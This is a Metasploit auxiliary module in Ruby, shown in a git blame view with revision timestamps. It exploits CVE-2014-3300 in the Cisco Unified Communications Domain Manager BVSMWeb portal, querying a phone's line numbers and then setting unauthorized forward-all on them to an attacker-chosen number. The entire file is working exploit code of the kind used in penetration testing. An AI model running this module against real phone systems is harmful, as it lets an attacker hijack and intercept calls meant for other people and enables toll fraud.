Files
metasploit-gs/modules/auxiliary/voip/cisco_cucdm_call_forward.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

155 lines
4.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
'Description' => %q{
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
(CDM) 10 does not properly implement access control, which allows remote attackers to
modify user information. This module exploits the vulnerability to configure unauthorized
call forwarding.
},
'Author' => 'fozavci',
'References' => [
2015-01-10 00:00:27 -06:00
['CVE', '2014-3300'],
['BID', '68331']
],
'License' => MSF_LICENSE,
'Actions' => [
2015-01-10 00:02:42 -06:00
[ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ],
[ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
2015-01-10 00:00:27 -06:00
],
'DefaultAction' => 'Info',
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
2015-01-10 00:00:27 -06:00
[
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
OptString.new('MAC', [ true, 'MAC address of target phone', '000000000000']),
2015-01-10 00:00:27 -06:00
OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP phones, required for multiple lines'])
]
)
end
def run
2015-01-10 00:27:31 -06:00
case action.name.upcase
when 'INFO'
get_info
when 'FORWARD'
forward_calls
end
end
def get_info
uri = normalize_uri(target_uri.to_s)
mac = datastore['MAC']
print_status('Getting fintnumbers and display names of the IP phone')
res = send_request_cgi(
{
'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
'method' => 'GET',
'vars_get' => {
'device' => "SEP#{mac}"
}
}
)
2015-01-10 00:00:27 -06:00
unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
print_error('Target appears not vulnerable!')
print_status(res.to_s)
2015-01-10 00:27:31 -06:00
return []
2015-01-10 00:00:27 -06:00
end
doc = REXML::Document.new(res.body)
lines = []
fint_numbers = []
2015-01-10 00:00:27 -06:00
list = doc.root.get_elements('MenuItem')
2015-01-10 00:00:27 -06:00
list.each do |lst|
xlist = lst.get_elements('Name')
xlist.each { |l| lines << (l[0]).to_s }
2015-01-10 00:00:27 -06:00
xlist = lst.get_elements('URL')
xlist.each { |l| fint_numbers << (l[0].to_s.split('fintnumber=')[1]).to_s }
2015-01-10 00:00:27 -06:00
end
2015-01-10 00:00:27 -06:00
lines.size.times do |i|
2016-02-01 16:06:34 -06:00
print_status("Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
2015-01-10 00:00:27 -06:00
end
2015-01-10 00:27:31 -06:00
fint_numbers
end
def forward_calls
2015-01-10 00:00:27 -06:00
# for a specific FINTNUMBER redirection
2015-01-10 00:27:31 -06:00
uri = normalize_uri(target_uri.to_s)
forward_to = datastore['FORWARDTO']
mac = datastore['MAC']
2015-01-10 00:27:31 -06:00
if datastore['FINTNUMBER']
fint_numbers = [datastore['FINTNUMBER']]
else
fint_numbers = get_info
end
if fint_numbers.empty?
print_error('FINTNUMBER required to forward calls')
2015-01-10 00:27:31 -06:00
return
end
2015-01-10 00:27:31 -06:00
fint_numbers.each do |fintnumber|
2016-02-01 16:06:34 -06:00
print_status("Sending call forward request for #{fintnumber}")
2015-01-10 00:27:31 -06:00
send_request_cgi(
{
'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
'method' => 'GET',
'vars_get' => {
'cfoption' => 'CallForwardAll',
'device' => "SEP#{mac}",
'ProviderName' => 'NULL',
'fintnumber' => fintnumber.to_s,
'telno1' => forward_to.to_s
}
}
)
2015-01-10 00:00:27 -06:00
2015-01-10 00:27:31 -06:00
res = send_request_cgi(
{
'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
'method' => 'GET',
'vars_get' => {
'device' => "SEP#{mac}",
'fintnumber' => fintnumber.to_s
}
}
)
if res && res.body.to_s.include?('CFA')
2016-02-01 16:06:34 -06:00
print_good("Call forwarded successfully for #{fintnumber}")
2015-01-10 00:27:31 -06:00
else
print_error('Call forward failed')
end
end
end
end